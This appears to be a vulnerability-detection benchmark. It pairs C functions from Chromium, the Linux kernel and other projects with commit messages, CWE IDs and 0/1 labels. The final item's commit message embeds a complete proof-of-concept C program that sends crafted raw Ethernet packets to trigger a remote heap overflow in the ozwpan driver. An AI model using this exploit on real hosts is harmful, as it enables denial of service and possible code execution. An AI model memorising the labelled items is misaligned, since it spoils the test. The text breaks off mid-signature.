Code: void RenderFrameImpl::DidAccessInitialDocument() { DCHECK(!frame_->Parent()); if (!has_accessed_initial_document_) { NavigationState* navigation_state = NavigationState::FromDocumentLoader(frame_->GetDocumentLoader()); if (!navigation_state->request_committed()) { Send(new FrameHostMsg_DidAccessInitialDocument(routing_id_)); } } has_accessed_initial_document_ = true; } Commit Message: Convert FrameHostMsg_DidAddMessageToConsole to Mojo. Note: Since this required changing the test RenderViewImplTest.DispatchBeforeUnloadCanDetachFrame, I manually re-introduced https://crbug.com/666714 locally (the bug the test was added for), and reran the test to confirm that it still covers the bug. Bug: 786836 Change-Id: I110668fa6f0f261fd2ac36bb91a8d8b31c99f4f1 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1526270 Commit-Queue: Lowell Manners <lowell@chromium.org> Reviewed-by: Daniel Cheng <dcheng@chromium.org> Reviewed-by: Camille Lamy <clamy@chromium.org> Cr-Commit-Position: refs/heads/master@{#653137} CWE ID: CWE-416
0
139,566
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static int in_same_refcount_block(BDRVQcowState *s, uint64_t offset_a, uint64_t offset_b) { uint64_t block_a = offset_a >> (2 * s->cluster_bits - REFCOUNT_SHIFT); uint64_t block_b = offset_b >> (2 * s->cluster_bits - REFCOUNT_SHIFT); return (block_a == block_b); } Commit Message: CWE ID: CWE-190
0
16,803
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: ACodec::ExecutingToIdleState::ExecutingToIdleState(ACodec *codec) : BaseState(codec), mComponentNowIdle(false) { } Commit Message: Fix initialization of AAC presentation struct Otherwise the new size checks trip on this. Bug: 27207275 Change-Id: I1f8f01097e3a88ff041b69279a6121be842f1766 CWE ID: CWE-119
0
164,013
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: void FetchManager::Loader::Failed(const String& message) { if (failed_ || finished_) return; failed_ = true; if (execution_context_->IsContextDestroyed()) return; if (!message.IsEmpty()) { execution_context_->AddConsoleMessage( ConsoleMessage::Create(kJSMessageSource, kErrorMessageLevel, message)); } if (resolver_) { ScriptState* state = resolver_->GetScriptState(); ScriptState::Scope scope(state); resolver_->Reject(V8ThrowException::CreateTypeError(state->GetIsolate(), "Failed to fetch")); } probe::didFailFetch(execution_context_, this); NotifyFinished(); } Commit Message: [Fetch API] Fix redirect leak on "no-cors" requests The spec issue is now fixed, and this CL follows the spec change[1]. 1: https://github.com/whatwg/fetch/commit/14858d3e9402285a7ff3b5e47a22896ff3adc95d Bug: 791324 Change-Id: Ic3e3955f43578b38fc44a5a6b2a1b43d56a2becb Reviewed-on: https://chromium-review.googlesource.com/1023613 Reviewed-by: Tsuyoshi Horo <horo@chromium.org> Commit-Queue: Yutaka Hirano <yhirano@chromium.org> Cr-Commit-Position: refs/heads/master@{#552964} CWE ID: CWE-200
0
154,228
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: mux_client_hello_exchange(int fd) { Buffer m; u_int type, ver; buffer_init(&m); buffer_put_int(&m, MUX_MSG_HELLO); buffer_put_int(&m, SSHMUX_VER); /* no extensions */ if (mux_client_write_packet(fd, &m) != 0) fatal("%s: write packet: %s", __func__, strerror(errno)); buffer_clear(&m); /* Read their HELLO */ if (mux_client_read_packet(fd, &m) != 0) { buffer_free(&m); return -1; } type = buffer_get_int(&m); if (type != MUX_MSG_HELLO) fatal("%s: expected HELLO (%u) received %u", __func__, MUX_MSG_HELLO, type); ver = buffer_get_int(&m); if (ver != SSHMUX_VER) fatal("Unsupported multiplexing protocol version %d " "(expected %d)", ver, SSHMUX_VER); debug2("%s: master version %u", __func__, ver); /* No extensions are presently defined */ while (buffer_len(&m) > 0) { char *name = buffer_get_string(&m, NULL); char *value = buffer_get_string(&m, NULL); debug2("Unrecognised master extension \"%s\"", name); free(name); free(value); } buffer_free(&m); return 0; } Commit Message: CWE ID: CWE-254
0
15,533
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static int skcipher_next_slow(struct skcipher_walk *walk, unsigned int bsize) { bool phys = walk->flags & SKCIPHER_WALK_PHYS; unsigned alignmask = walk->alignmask; struct skcipher_walk_buffer *p; unsigned a; unsigned n; u8 *buffer; void *v; if (!phys) { if (!walk->buffer) walk->buffer = walk->page; buffer = walk->buffer; if (buffer) goto ok; } /* Start with the minimum alignment of kmalloc. */ a = crypto_tfm_ctx_alignment() - 1; n = bsize; if (phys) { /* Calculate the minimum alignment of p->buffer. */ a &= (sizeof(*p) ^ (sizeof(*p) - 1)) >> 1; n += sizeof(*p); } /* Minimum size to align p->buffer by alignmask. */ n += alignmask & ~a; /* Minimum size to ensure p->buffer does not straddle a page. */ n += (bsize - 1) & ~(alignmask | a); v = kzalloc(n, skcipher_walk_gfp(walk)); if (!v) return skcipher_walk_done(walk, -ENOMEM); if (phys) { p = v; p->len = bsize; skcipher_queue_write(walk, p); buffer = p->buffer; } else { walk->buffer = v; buffer = v; } ok: walk->dst.virt.addr = PTR_ALIGN(buffer, alignmask + 1); walk->dst.virt.addr = skcipher_get_spot(walk->dst.virt.addr, bsize); walk->src.virt.addr = walk->dst.virt.addr; scatterwalk_copychunks(walk->src.virt.addr, &walk->in, bsize, 0); walk->nbytes = bsize; walk->flags |= SKCIPHER_WALK_SLOW; return 0; } Commit Message: crypto: skcipher - Add missing API setkey checks The API setkey checks for key sizes and alignment went AWOL during the skcipher conversion. This patch restores them. Cc: <stable@vger.kernel.org> Fixes: 4e6c3df4d729 ("crypto: skcipher - Add low-level skcipher...") Reported-by: Baozeng <sploving1@gmail.com> Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au> CWE ID: CWE-476
0
64,798
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: void PaymentRequestState::OnSpecUpdated() { autofill::AutofillProfile* selected_shipping_profile = selected_shipping_profile_; autofill::AutofillProfile* selected_contact_profile = selected_contact_profile_; if (spec_->current_update_reason() == PaymentRequestSpec::UpdateReason::RETRY) { if (spec_->has_shipping_address_error() && selected_shipping_profile) { invalid_shipping_profile_ = selected_shipping_profile; selected_shipping_profile_ = nullptr; } if (spec_->has_payer_error() && selected_contact_profile) { invalid_contact_profile_ = selected_contact_profile; selected_contact_profile_ = nullptr; } } if (spec_->selected_shipping_option_error().empty()) { selected_shipping_option_error_profile_ = nullptr; } else { selected_shipping_option_error_profile_ = selected_shipping_profile; selected_shipping_profile_ = nullptr; if (spec_->has_shipping_address_error() && selected_shipping_profile) { invalid_shipping_profile_ = selected_shipping_profile; } } is_waiting_for_merchant_validation_ = false; UpdateIsReadyToPayAndNotifyObservers(); } Commit Message: [Payment Handler] Don't wait for response from closed payment app. Before this patch, tapping the back button on top of the payment handler window on desktop would not affect the |response_helper_|, which would continue waiting for a response from the payment app. The service worker of the closed payment app could timeout after 5 minutes and invoke the |response_helper_|. Depending on what else the user did afterwards, in the best case scenario, the payment sheet would display a "Transaction failed" error message. In the worst case scenario, the |response_helper_| would be used after free. This patch clears the |response_helper_| in the PaymentRequestState and in the ServiceWorkerPaymentInstrument after the payment app is closed. After this patch, the cancelled payment app does not show "Transaction failed" and does not use memory after it was freed. Bug: 956597 Change-Id: I64134b911a4f8c154cb56d537a8243a68a806394 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1588682 Reviewed-by: anthonyvd <anthonyvd@chromium.org> Commit-Queue: Rouslan Solomakhin <rouslan@chromium.org> Cr-Commit-Position: refs/heads/master@{#654995} CWE ID: CWE-416
0
151,154
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: void init_executor(void) /* {{{ */ { zend_init_fpu(); ZVAL_NULL(&EG(uninitialized_zval)); ZVAL_NULL(&EG(error_zval)); /* destroys stack frame, therefore makes core dumps worthless */ #if 0&&ZEND_DEBUG original_sigsegv_handler = signal(SIGSEGV, zend_handle_sigsegv); #endif EG(symtable_cache_ptr) = EG(symtable_cache) - 1; EG(symtable_cache_limit) = EG(symtable_cache) + SYMTABLE_CACHE_SIZE - 1; EG(no_extensions) = 0; EG(function_table) = CG(function_table); EG(class_table) = CG(class_table); EG(in_autoload) = NULL; EG(autoload_func) = NULL; EG(error_handling) = EH_NORMAL; zend_vm_stack_init(); zend_hash_init(&EG(symbol_table), 64, NULL, ZVAL_PTR_DTOR, 0); EG(valid_symbol_table) = 1; zend_llist_apply(&zend_extensions, (llist_apply_func_t) zend_extension_activator); zend_hash_init(&EG(included_files), 8, NULL, NULL, 0); EG(ticks_count) = 0; ZVAL_UNDEF(&EG(user_error_handler)); EG(current_execute_data) = NULL; zend_stack_init(&EG(user_error_handlers_error_reporting), sizeof(int)); zend_stack_init(&EG(user_error_handlers), sizeof(zval)); zend_stack_init(&EG(user_exception_handlers), sizeof(zval)); zend_objects_store_init(&EG(objects_store), 1024); EG(full_tables_cleanup) = 0; #ifdef ZEND_WIN32 EG(timed_out) = 0; #endif EG(exception) = NULL; EG(prev_exception) = NULL; EG(scope) = NULL; EG(ht_iterators_count) = sizeof(EG(ht_iterators_slots)) / sizeof(HashTableIterator); EG(ht_iterators_used) = 0; EG(ht_iterators) = EG(ht_iterators_slots); memset(EG(ht_iterators), 0, sizeof(EG(ht_iterators_slots))); EG(active) = 1; } /* }}} */ Commit Message: Use format string CWE ID: CWE-134
0
57,311
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static int do_swap_page(struct mm_struct *mm, struct vm_area_struct *vma, unsigned long address, pte_t *page_table, pmd_t *pmd, unsigned int flags, pte_t orig_pte) { spinlock_t *ptl; struct page *page, *swapcache; struct mem_cgroup *memcg; swp_entry_t entry; pte_t pte; int locked; int exclusive = 0; int ret = 0; if (!pte_unmap_same(mm, pmd, page_table, orig_pte)) goto out; entry = pte_to_swp_entry(orig_pte); if (unlikely(non_swap_entry(entry))) { if (is_migration_entry(entry)) { migration_entry_wait(mm, pmd, address); } else if (is_hwpoison_entry(entry)) { ret = VM_FAULT_HWPOISON; } else { print_bad_pte(vma, address, orig_pte, NULL); ret = VM_FAULT_SIGBUS; } goto out; } delayacct_set_flag(DELAYACCT_PF_SWAPIN); page = lookup_swap_cache(entry); if (!page) { page = swapin_readahead(entry, GFP_HIGHUSER_MOVABLE, vma, address); if (!page) { /* * Back out if somebody else faulted in this pte * while we released the pte lock. */ page_table = pte_offset_map_lock(mm, pmd, address, &ptl); if (likely(pte_same(*page_table, orig_pte))) ret = VM_FAULT_OOM; delayacct_clear_flag(DELAYACCT_PF_SWAPIN); goto unlock; } /* Had to read the page from swap area: Major fault */ ret = VM_FAULT_MAJOR; count_vm_event(PGMAJFAULT); mem_cgroup_count_vm_event(mm, PGMAJFAULT); } else if (PageHWPoison(page)) { /* * hwpoisoned dirty swapcache pages are kept for killing * owner processes (which may be unknown at hwpoison time) */ ret = VM_FAULT_HWPOISON; delayacct_clear_flag(DELAYACCT_PF_SWAPIN); swapcache = page; goto out_release; } swapcache = page; locked = lock_page_or_retry(page, mm, flags); delayacct_clear_flag(DELAYACCT_PF_SWAPIN); if (!locked) { ret |= VM_FAULT_RETRY; goto out_release; } /* * Make sure try_to_free_swap or reuse_swap_page or swapoff did not * release the swapcache from under us. The page pin, and pte_same * test below, are not enough to exclude that. Even if it is still * swapcache, we need to check that the page's swap has not changed. */ if (unlikely(!PageSwapCache(page) || page_private(page) != entry.val)) goto out_page; page = ksm_might_need_to_copy(page, vma, address); if (unlikely(!page)) { ret = VM_FAULT_OOM; page = swapcache; goto out_page; } if (mem_cgroup_try_charge(page, mm, GFP_KERNEL, &memcg)) { ret = VM_FAULT_OOM; goto out_page; } /* * Back out if somebody else already faulted in this pte. */ page_table = pte_offset_map_lock(mm, pmd, address, &ptl); if (unlikely(!pte_same(*page_table, orig_pte))) goto out_nomap; if (unlikely(!PageUptodate(page))) { ret = VM_FAULT_SIGBUS; goto out_nomap; } /* * The page isn't present yet, go ahead with the fault. * * Be careful about the sequence of operations here. * To get its accounting right, reuse_swap_page() must be called * while the page is counted on swap but not yet in mapcount i.e. * before page_add_anon_rmap() and swap_free(); try_to_free_swap() * must be called after the swap_free(), or it will never succeed. */ inc_mm_counter_fast(mm, MM_ANONPAGES); dec_mm_counter_fast(mm, MM_SWAPENTS); pte = mk_pte(page, vma->vm_page_prot); if ((flags & FAULT_FLAG_WRITE) && reuse_swap_page(page)) { pte = maybe_mkwrite(pte_mkdirty(pte), vma); flags &= ~FAULT_FLAG_WRITE; ret |= VM_FAULT_WRITE; exclusive = 1; } flush_icache_page(vma, page); if (pte_swp_soft_dirty(orig_pte)) pte = pte_mksoft_dirty(pte); set_pte_at(mm, address, page_table, pte); if (page == swapcache) { do_page_add_anon_rmap(page, vma, address, exclusive); mem_cgroup_commit_charge(page, memcg, true); } else { /* ksm created a completely new copy */ page_add_new_anon_rmap(page, vma, address); mem_cgroup_commit_charge(page, memcg, false); lru_cache_add_active_or_unevictable(page, vma); } swap_free(entry); if (vm_swap_full() || (vma->vm_flags & VM_LOCKED) || PageMlocked(page)) try_to_free_swap(page); unlock_page(page); if (page != swapcache) { /* * Hold the lock to avoid the swap entry to be reused * until we take the PT lock for the pte_same() check * (to avoid false positives from pte_same). For * further safety release the lock after the swap_free * so that the swap count won't change under a * parallel locked swapcache. */ unlock_page(swapcache); page_cache_release(swapcache); } if (flags & FAULT_FLAG_WRITE) { ret |= do_wp_page(mm, vma, address, page_table, pmd, ptl, pte); if (ret & VM_FAULT_ERROR) ret &= VM_FAULT_ERROR; goto out; } /* No need to invalidate - it was non-present before */ update_mmu_cache(vma, address, page_table); unlock: pte_unmap_unlock(page_table, ptl); out: return ret; out_nomap: mem_cgroup_cancel_charge(page, memcg); pte_unmap_unlock(page_table, ptl); out_page: unlock_page(page); out_release: page_cache_release(page); if (page != swapcache) { unlock_page(swapcache); page_cache_release(swapcache); } return ret; } Commit Message: mm: avoid setting up anonymous pages into file mapping Reading page fault handler code I've noticed that under right circumstances kernel would map anonymous pages into file mappings: if the VMA doesn't have vm_ops->fault() and the VMA wasn't fully populated on ->mmap(), kernel would handle page fault to not populated pte with do_anonymous_page(). Let's change page fault handler to use do_anonymous_page() only on anonymous VMA (->vm_ops == NULL) and make sure that the VMA is not shared. For file mappings without vm_ops->fault() or shred VMA without vm_ops, page fault on pte_none() entry would lead to SIGBUS. Signed-off-by: Kirill A. Shutemov <kirill.shutemov@linux.intel.com> Acked-by: Oleg Nesterov <oleg@redhat.com> Cc: Andrew Morton <akpm@linux-foundation.org> Cc: Willy Tarreau <w@1wt.eu> Cc: stable@vger.kernel.org Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org> CWE ID: CWE-20
0
57,872
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: void ConversionContext::EndClips() { while (state_stack_.size() && state_stack_.back().type == StateEntry::kClip) EndClip(); } Commit Message: Reland "[CI] Make paint property nodes non-ref-counted" This reverts commit 887383b30842d9d9006e11bb6932660a3cb5b1b7. Reason for revert: Retry in M69. Original change's description: > Revert "[CI] Make paint property nodes non-ref-counted" > > This reverts commit 70fc0b018c9517558b7aa2be00edf2debb449123. > > Reason for revert: Caused bugs found by clusterfuzz > > Original change's description: > > [CI] Make paint property nodes non-ref-counted > > > > Now all paint property nodes are owned by ObjectPaintProperties > > (and LocalFrameView temporarily before removing non-RLS mode). > > Others just use raw pointers or references. > > > > Bug: 833496 > > Cq-Include-Trybots: master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2 > > Change-Id: I2d544fe153bb94698623248748df63c8aa2081ae > > Reviewed-on: https://chromium-review.googlesource.com/1031101 > > Reviewed-by: Tien-Ren Chen <trchen@chromium.org> > > Commit-Queue: Xianzhu Wang <wangxianzhu@chromium.org> > > Cr-Commit-Position: refs/heads/master@{#554626} > > TBR=wangxianzhu@chromium.org,trchen@chromium.org,chrishtr@chromium.org > > Change-Id: I02bb50d6744cb81a797246a0116b677e80a3c69f > No-Presubmit: true > No-Tree-Checks: true > No-Try: true > Bug: 833496,837932,837943 > Cq-Include-Trybots: master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2 > Reviewed-on: https://chromium-review.googlesource.com/1034292 > Reviewed-by: Xianzhu Wang <wangxianzhu@chromium.org> > Commit-Queue: Xianzhu Wang <wangxianzhu@chromium.org> > Cr-Commit-Position: refs/heads/master@{#554653} TBR=wangxianzhu@chromium.org,trchen@chromium.org,chrishtr@chromium.org # Not skipping CQ checks because original CL landed > 1 day ago. Bug: 833496, 837932, 837943 Change-Id: I0b4ef70db1f1f211ba97c30d617225355c750992 Cq-Include-Trybots: master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_layout_tests_slimming_paint_v2 Reviewed-on: https://chromium-review.googlesource.com/1083491 Commit-Queue: Xianzhu Wang <wangxianzhu@chromium.org> Reviewed-by: Xianzhu Wang <wangxianzhu@chromium.org> Cr-Commit-Position: refs/heads/master@{#563930} CWE ID:
0
125,580
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: uint16_t virtio_get_queue_index(VirtQueue *vq) { return vq->queue_index; } Commit Message: CWE ID: CWE-20
0
9,204
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: Node* AXLayoutObject::getNode() const { return getLayoutObject() ? getLayoutObject()->node() : nullptr; } Commit Message: Switch to equalIgnoringASCIICase throughout modules/accessibility BUG=627682 Review-Url: https://codereview.chromium.org/2793913007 Cr-Commit-Position: refs/heads/master@{#461858} CWE ID: CWE-254
0
127,041
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: ofproto_init_tables(struct ofproto *ofproto, int n_tables) { struct oftable *table; ovs_assert(!ofproto->n_tables); ovs_assert(n_tables >= 1 && n_tables <= 255); ofproto->n_tables = n_tables; ofproto->tables = xmalloc(n_tables * sizeof *ofproto->tables); OFPROTO_FOR_EACH_TABLE (table, ofproto) { oftable_init(table); } } Commit Message: ofproto: Fix OVS crash when reverting old flows in bundle commit During bundle commit flows which are added in bundle are applied to ofproto in-order. In case if a flow cannot be added (e.g. flow action is go-to group id which does not exist), OVS tries to revert back all previous flows which were successfully applied from the same bundle. This is possible since OVS maintains list of old flows which were replaced by flows from the bundle. While reinserting old flows ovs asserts due to check on rule state != RULE_INITIALIZED. This will work only for new flows, but for old flow the rule state will be RULE_REMOVED. This is causing an assert and OVS crash. The ovs assert check should be modified to != RULE_INSERTED to prevent any existing rule being re-inserted and allow new rules and old rules (in case of revert) to get inserted. Here is an example to trigger the assert: $ ovs-vsctl add-br br-test -- set Bridge br-test datapath_type=netdev $ cat flows.txt flow add table=1,priority=0,in_port=2,actions=NORMAL flow add table=1,priority=0,in_port=3,actions=NORMAL $ ovs-ofctl dump-flows -OOpenflow13 br-test cookie=0x0, duration=2.465s, table=1, n_packets=0, n_bytes=0, priority=0,in_port=2 actions=NORMAL cookie=0x0, duration=2.465s, table=1, n_packets=0, n_bytes=0, priority=0,in_port=3 actions=NORMAL $ cat flow-modify.txt flow modify table=1,priority=0,in_port=2,actions=drop flow modify table=1,priority=0,in_port=3,actions=group:10 $ ovs-ofctl bundle br-test flow-modify.txt -OOpenflow13 First flow rule will be modified since it is a valid rule. However second rule is invalid since no group with id 10 exists. Bundle commit tries to revert (insert) the first rule to old flow which results in ovs_assert at ofproto_rule_insert__() since old rule->state = RULE_REMOVED. Signed-off-by: Vishal Deep Ajmera <vishal.deep.ajmera@ericsson.com> Signed-off-by: Ben Pfaff <blp@ovn.org> CWE ID: CWE-617
0
77,331
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static int xfrm_flush_policy(struct sk_buff *skb, struct nlmsghdr *nlh, struct nlattr **attrs) { struct net *net = sock_net(skb->sk); struct km_event c; u8 type = XFRM_POLICY_TYPE_MAIN; int err; struct xfrm_audit audit_info; err = copy_from_user_policy_type(&type, attrs); if (err) return err; audit_info.loginuid = audit_get_loginuid(current); audit_info.sessionid = audit_get_sessionid(current); security_task_getsecid(current, &audit_info.secid); err = xfrm_policy_flush(net, type, &audit_info); if (err) { if (err == -ESRCH) /* empty table */ return 0; return err; } c.data.type = type; c.event = nlh->nlmsg_type; c.seq = nlh->nlmsg_seq; c.pid = nlh->nlmsg_pid; c.net = net; km_policy_notify(NULL, 0, &c); return 0; } Commit Message: xfrm_user: return error pointer instead of NULL When dump_one_state() returns an error, e.g. because of a too small buffer to dump the whole xfrm state, xfrm_state_netlink() returns NULL instead of an error pointer. But its callers expect an error pointer and therefore continue to operate on a NULL skbuff. This could lead to a privilege escalation (execution of user code in kernel context) if the attacker has CAP_NET_ADMIN and is able to map address 0. Signed-off-by: Mathias Krause <minipli@googlemail.com> Acked-by: Steffen Klassert <steffen.klassert@secunet.com> Signed-off-by: David S. Miller <davem@davemloft.net> CWE ID:
0
33,150
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: activate_mount_op_active (GtkMountOperation *operation, GParamSpec *pspec, ActivateParameters *parameters) { gboolean is_active; g_object_get (operation, "is-showing", &is_active, NULL); if (is_active) { pause_activation_timed_cancel (parameters); } else { unpause_activation_timed_cancel (parameters); } } Commit Message: mime-actions: use file metadata for trusting desktop files Currently we only trust desktop files that have the executable bit set, and don't replace the displayed icon or the displayed name until it's trusted, which prevents for running random programs by a malicious desktop file. However, the executable permission is preserved if the desktop file comes from a compressed file. To prevent this, add a metadata::trusted metadata to the file once the user acknowledges the file as trusted. This adds metadata to the file, which cannot be added unless it has access to the computer. Also remove the SHEBANG "trusted" content we were putting inside the desktop file, since that doesn't add more security since it can come with the file itself. https://bugzilla.gnome.org/show_bug.cgi?id=777991 CWE ID: CWE-20
0
61,161
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: static ssize_t regulator_min_uA_show(struct device *dev, struct device_attribute *attr, char *buf) { struct regulator_dev *rdev = dev_get_drvdata(dev); if (!rdev->constraints) return sprintf(buf, "constraint not defined\n"); return sprintf(buf, "%d\n", rdev->constraints->min_uA); } Commit Message: regulator: core: Fix regualtor_ena_gpio_free not to access pin after freeing After freeing pin from regulator_ena_gpio_free, loop can access the pin. So this patch fixes not to access pin after freeing. Signed-off-by: Seung-Woo Kim <sw0312.kim@samsung.com> Signed-off-by: Mark Brown <broonie@kernel.org> CWE ID: CWE-416
0
74,522
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: void RenderThreadImpl::SampleGamepads(blink::WebGamepads* data) { webkit_platform_support_->sampleGamepads(*data); } Commit Message: Disable forwarding tasks to the Blink scheduler Disable forwarding tasks to the Blink scheduler to avoid some regressions which it has introduced. BUG=391005,415758,415478,412714,416362,416827,417608 TBR=jamesr@chromium.org Review URL: https://codereview.chromium.org/609483002 Cr-Commit-Position: refs/heads/master@{#296916} CWE ID:
0
126,754
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: png_get_color_type(png_structp png_ptr, png_infop info_ptr) { if (png_ptr != NULL && info_ptr != NULL) return info_ptr->color_type; return (0); } Commit Message: third_party/libpng: update to 1.2.54 TBR=darin@chromium.org BUG=560291 Review URL: https://codereview.chromium.org/1467263003 Cr-Commit-Position: refs/heads/master@{#362298} CWE ID: CWE-119
0
131,276
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
Code: void oz_hcd_get_desc_cnf(void *hport, u8 req_id, int status, const u8 *desc, int length, int offset, int total_size) { struct oz_port *port = hport; struct urb *urb; int err = 0; oz_dbg(ON, "oz_hcd_get_desc_cnf length = %d offs = %d tot_size = %d\n", length, offset, total_size); urb = oz_find_urb_by_id(port, 0, req_id); if (!urb) return; if (status == 0) { int copy_len; int required_size = urb->transfer_buffer_length; if (required_size > total_size) required_size = total_size; copy_len = required_size-offset; if (length <= copy_len) copy_len = length; memcpy(urb->transfer_buffer+offset, desc, copy_len); offset += copy_len; if (offset < required_size) { struct usb_ctrlrequest *setup = (struct usb_ctrlrequest *)urb->setup_packet; unsigned wvalue = le16_to_cpu(setup->wValue); if (oz_enqueue_ep_urb(port, 0, 0, urb, req_id)) err = -ENOMEM; else if (oz_usb_get_desc_req(port->hpd, req_id, setup->bRequestType, (u8)(wvalue>>8), (u8)wvalue, setup->wIndex, offset, required_size-offset)) { oz_dequeue_ep_urb(port, 0, 0, urb); err = -ENOMEM; } if (err == 0) return; } } urb->actual_length = total_size; oz_complete_urb(port->ozhcd->hcd, urb, 0); } Commit Message: ozwpan: Use unsigned ints to prevent heap overflow Using signed integers, the subtraction between required_size and offset could wind up being negative, resulting in a memcpy into a heap buffer with a negative length, resulting in huge amounts of network-supplied data being copied into the heap, which could potentially lead to remote code execution.. This is remotely triggerable with a magic packet. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module. =-=-=-=-=-= #include <arpa/inet.h> #include <linux/if_packet.h> #include <net/if.h> #include <netinet/ether.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <endian.h> #include <sys/ioctl.h> #include <sys/socket.h> #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; } __packed connect_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 35, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 } }; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_get_desc_rsp oz_get_desc_rsp; } __packed pwn_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(1) }, .oz_elt = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_get_desc_rsp) }, .oz_get_desc_rsp = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_GET_DESC_RSP, .req_id = 0, .offset = htole16(2), .total_size = htole16(1), .rcode = 0, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } usleep(300000); if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by: Jason A. Donenfeld 